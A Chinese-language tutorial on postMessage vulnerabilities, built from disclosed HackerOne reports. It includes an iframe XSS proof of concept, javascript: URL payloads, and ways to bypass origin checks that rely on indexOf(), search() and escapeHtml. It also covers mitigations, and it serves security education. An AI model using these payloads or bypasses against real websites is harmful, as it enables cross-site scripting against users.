通过HackerOne漏洞报告学习PostMessage漏洞实战场景中的利用与绕过

 

0x00 前言

这是一篇关于postMessage漏洞分析的文章,主要通过hackerone平台披露的Bug Bounty报告,学习和分析postMessage漏洞如何在真实的场景中得到利用的。

 

0x01 什么是PostMessage

根据Mozilla开发文档描述:

The window.postMessage() method safely enables cross-origin communication between Window objects; e.g., between a page and a pop-up that it spawned, or between a page and an iframe embedded within it.

也就是说,window.postMessage()方法可以安全地实现Window对象之间的跨域通信。例如,一个页面和它所产生的弹出窗口之间,或者一个页面和嵌入其中的iframe之间进行。

这里,我们看一个例子:

假设我们有一个主网站1.html与另一个网站2.html进行通信。在第二个网站中,有一个后退按钮,当第一个网站的导航改变时,这个按钮就会改变。例如,在网站1中,我们导航到 changed.html,那么网站2中的后退按钮就会指向 changed.html。为此,使用postMessage方法将网站1的值发送到网站2。

1.html中的代码如下:

<!DOCTYPE html>
<html>
<head>
    <title>Website 1</title>
 <meta charset="utf-8" />
<script>

var child;
function openChild() {child = window.open('2.html', 'popup', 'height=300px, width=500px');

}
function sendMessage(){
    let msg={url : "changed.html"};
    // In production, DO NOT use '*', use toe target domain
    child.postMessage(msg,'*')// child is the targetWindow
    child.focus();
}</script>
</head>
<body>
    <form>
        <fieldset>
            <input type='button' id='btnopen' value='Open child' onclick='openChild();' />
            <input type='button' id='btnSendMsg' value='Send Message' onclick='sendMessage();' />
        </fieldset>
    </form>
</body>
</html>

网站1中有两个按钮:

  • 1 . 第一个是通过openChild()函数打开一个包含2.html的弹出窗口。
  • 2 . 第二个是通过sendMessage()函数发送消息。要做到这一点,需要设置一个消息,定义msg变量,然后调用postMessage(msg,'*')

2.html中的代码如下:

<!DOCTYPE html>
<html>
<head>
    <title>Website 2</title>
    <meta charset="utf-8" />
    <script>
    // Allow window to listen for a postMessage
    window.addEventListener("message", (event)=>{
        // Normally you would check event.origin
        // To verify the targetOrigin matches
        // this window's domain
         document.getElementById("redirection").href=`${event.data.url}`;
        // event.data contains the message sent

    });function closeMe() {
        try {window.close();
        } catch (e) { console.log(e) }
        try {self.close();
        } catch (e) { console.log(e) }}
    </script>
</head>
<body>
    <form>
        <h1>Recipient of postMessage</h1>
            <fieldset>
                <a type='text' id='redirection' href=''>Go back</a>
                <input type='button' id='btnCloseMe' value='Close me' onclick='closeMe();' />
            </fieldset>

    </form>
</body>
</html>

网站2中有一个链接和一个按钮:

  • 1 . 链接处理重定向,href字段根据window.addEventListener("message", (event)接收到的数据而变化。接收到消息后,从event.data中读取事件中的数据并将url并传递给href
  • 2 . 按钮调用函数closeMe()关闭窗口。

 

0x02 一个基础漏洞的简例

XSS漏洞的实现

PostMessages如果执行不当,可能导致信息泄露或跨站脚本漏洞(XSS)。
在这种情况下,2.html在没有验证源的情况下就准备接收一个消息,因此我们可以将网页3.html作为iframe加载2.html,并调用postMessage()函数来操作href值。

<!DOCTYPE html>
<html>
<head>
    <title>XSS PoC</title>
 <meta charset="utf-8" />


</head>
<body>

 <iframe id="frame" src="2.html" ></iframe>

 <script>

    let msg={url : "javascript:prompt(1)"};
    var iFrame = document.getElementById("frame")
    iFrame.contentWindow.postMessage(msg, '*');

</script>
</body>
</html>

在这里例子中,恶意的msg变量包含数据{url: "javascript:prompt(1)"};,该数据将被发送到2.html2.html处理后,将<a href中的值更改为msg.url的值。iframe用于在网站中加载攻击。当用户单击返回链接时,将实现一个XSS。

缓解措施

根据Mozilla文档中的说法。

如果不希望收到来自其他网站的消息,不要为任何消息添加事件监听器的。这可以完全避免此类安全问题。

如果希望从其他站点接收消息,需要对源和可能的源验证发送方的身份,因为任何窗口都可以向任何其他窗口发送消息,并且不能保证未知的发送者不会发送恶意消息。但是,在验证了身份之后仍然应该验证接收到的消息的语法,否则,也可能出现跨站点脚本攻击。

当使用postMessage向其他窗口发送数据时,一定要指定一个准确的目标,而不是*。恶意网站可以在不知情的情况下改变窗口的位置,安全的设置可以拦截使用postMessage发送的数据。

根据文档的方案,应当将1.html中的:

child.postMessage(msg,'*')

修改为:

child.postMessage(msg,'2.html')

2.html中的:

window.addEventListener("message", (event)=>{    
...
}

修改为:

window.addEventListener("message", (event)=>{
    if (event.origin !== "http://safe.com")
    return;
    ...
}

漏洞检测

检测postMessage漏洞的方法是读取JavaScript代码。因为当定义了一个监听器后,需要按照事件数据流来分析代码是否以容易被攻击的函数结束。这里推荐两种方法来检测函数调用:

 

0x03 hackerone 漏洞报告分析

如果你在hackerone平台搜索PostMessage漏洞报告关键字,将看到一些报告,有一些漏洞被发现的时间距离现在并不遥远,并且获得了丰厚的奖励。这里重点分析3篇Hackerone披露的报告,并提供一些利用/绕过postMessage漏洞的技巧。

DOM Based XSS in www.hackerone.com via PostMessage and Bypass (#398054)

在hackeronep披露的 #398054报告中,通过Marketo中的不安全消息事件侦听器,Dom XSS在Hackerone中被成功利用。代码流程如下图所示:

通过分析报告可以看出,如果响应的设置没有错误,它就会创建一个名为u的变量,并将其设置为findCorrectFollowUpUrl方法的返回值。这将对一个名为followUpUrl的响应对象的属性进行处理,该属性是在表单提交完成后重定向的URL。

但是HackerOne窗体并没有用到这个,攻击者通过将其设置为绝对URL,就可以控制u变量的值。后来这个变量被用来改变窗口的location.href。当向Hackerone窗口发送下图所示的mktoResponse消息时,窗口被重定向到JavaScript URL,并执行代码alert(document.domain)

这部分代码由三部分组成:

  • 1 . mktoResponsePostMessage的第一个JSON元素,以调用函数:
else if (d.mktoResponse){
    onResponse(d.mktoResponse)
}
  • 2 . 为了能执行这个函数,需要一个JSON结构数据,其元素有forerrordata。如果errorfalse,则repuest.success执行:
var requestId = mktoResponse["for"];
  var request = inflight[requestId];
  if(request){
    if(mktoResponse.error){
      request.error(mktoResponse.data);
    }else{
      request.success(mktoResponse.data);
  • 3 . 在这个函数中,followUpUrl值将关联到u,并传递给location.href。因此,有效payloadjavascript:alert(document.domain)触发XSS执行:
  var u = findCorrectFollowUpUrl(data);
  location.href = u;

这个漏洞提交之后,Hackerone团队修改了OnMessage函数,添加了一个对源的验证:

if (a.originalEvent && a.originalEvent.data && 0 === i.indexOf(a.originalEvent.origin)) {
    var b;
    try {
        b = j.parseJSON(a.originalEvent.data)
    } catch (c) {
        return
    }
    b.mktoReady ? f() : b.mktoResponse && e(b.mktoResponse)
}

Bypass #398054 (#499030)

@honoki在报告#499030找到了上述#398054漏洞修复后的绕过办法。

在上述的修复代码中,变量i解析为https://app-sj17.marketo.com/indexOf检查字符串中是否包含源。因此注册一个marcarian域名.ma,验证将被绕过:

("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")

如果之前的漏洞攻击代码托管在注册域名https://app-sj17.ma下,XSS依旧会被成功执行。

CVE-2020-8127: XSS by calling arbitrary method via postMessage in reveal.js (#691977)

在报告#691977中,@s_p_q_r提交了一个通过PostMessage成功利用的DOM XSS。代码流程如下图所示:

首先,使用addKeyBinding方法调用setupPostMessage来定义带有恶意负载的JSON元素。然后,调用函数showHelp()在浏览器中展示出registeredKeyBindings[binding].description中定义的malicios有效payload。要利用此漏洞,使用以下代码:

这个代码片段中有三个部分:

  • 1 . 将第一个JSON元素作为"method":"addKeyBinding",用于调用方法并应用到args:
if( data.method && typeof Reveal[data.method] === 'function' ) {
    Reveal[data.method].apply( Reveal, data.args );
  • 2 . 为了到达函数addKeyBinding与参数args,构造一个JSON对象,包含callbackkeydescription
function addKeyBinding( binding, callback ) {

    if( typeof binding === 'object' && binding.keyCode ) {
        registeredKeyBindings[binding.keyCode] = {
            callback: callback,
            key: binding.key,
            description: binding.description
        };
    }
  • 3 . 调用toggleHelp()函数,在没有验证的情况下展现了包含payload的JSON数据,触发JavaScript执行:
function showHelp() {

    ...

    for( var binding in registeredKeyBindings ) {
        if( registeredKeyBindings[binding].key && registeredKeyBindings[binding].description ) {
            html += '<tr><td>' + registeredKeyBindings[binding].key + '</td><td>' + registeredKeyBindings[binding].description + '</td></tr>';
        }
    }

    ...

}

 

0x04 绕过PostMessage漏洞的技巧

1 . 如果indexOf()被用来检查PostMessage的源,如果源包含在字符串中,有可能被绕过,如Bypass #398054 (#499030)中分析的那样。

2 . 如果使用search()来验证源,也有可能是不安全的。根据String.prototype.search()的文档,该方法接收一个常规的压缩对象而不是字符串,如果传递了正则表达式以外的任何东西,也将被隐式转换为正则表达的内容。例如:

"https://www.safedomain.com".search(t.origin)

在正则表达式中,点(.)被视为通配符。换句话说,源的任何字符都可以用一个点来代替。攻击者可以利用这一特点,使用一个特殊的域而不是官方的域来绕过验证,比如www.s.afedomain.com就可以绕过上述语法的验证。

3 . 如果使用了escapeHtml函数,该函数不会创建一个新的已转义的对象,而是重写现有对象的属性。这意味着,如果我们能够创建具有不响应hasOwnProperty的受控属性的对象,则该对象将不会被转义。例如,File对象非常适合这种场景的利用,因为它有只读的name属性,使用这个属性,可以绕过escapeHtml函数:

// Expected to fail:
result = u({
  message: "'\"<b>\\"
});
result.message // "'&quot;&lt;b&gt;\"
// Bypassed:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"

 

0x05 hackerone上PostMessage漏洞报告推荐

Hackerone report #168116
(Twitter: Insufficient validation on Digits bridge)

Hackerone report #231053
(Shopify: XSS on any Shopify shop via abuse of the HTML5 structured clone algorithm in postMessage listener on “/:id/digital_wallets/dialog”)

Hackerone report #381356
(HackerOne: Client-Side Race Condition using Marketo, allows sending user to data-protocol in Safari when form without onSuccess is submitted on www.hackerone.com)

Hackerone report #207042
(HackerOne: Stealing contact form data on www.hackerone.com using Marketo Forms XSS with postMessage frame-jumping and jQuery-JSONP)

Hackerone report #603764
(Upserve: DOM Based XSS via postMessage at https://inventory.upserve.com/login/)

Hackerone report #217745
(Shopify: XSS in $shop$.myshopify.com/admin/ via “Button Objects” in malicious app)

参考文献

https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage

https://medium.com/javascript-in-plain-english/javascript-and-window-postmessage-a60c8f6adea9

https://hackerone.com/hacktivity?querystring=postmessage

(完)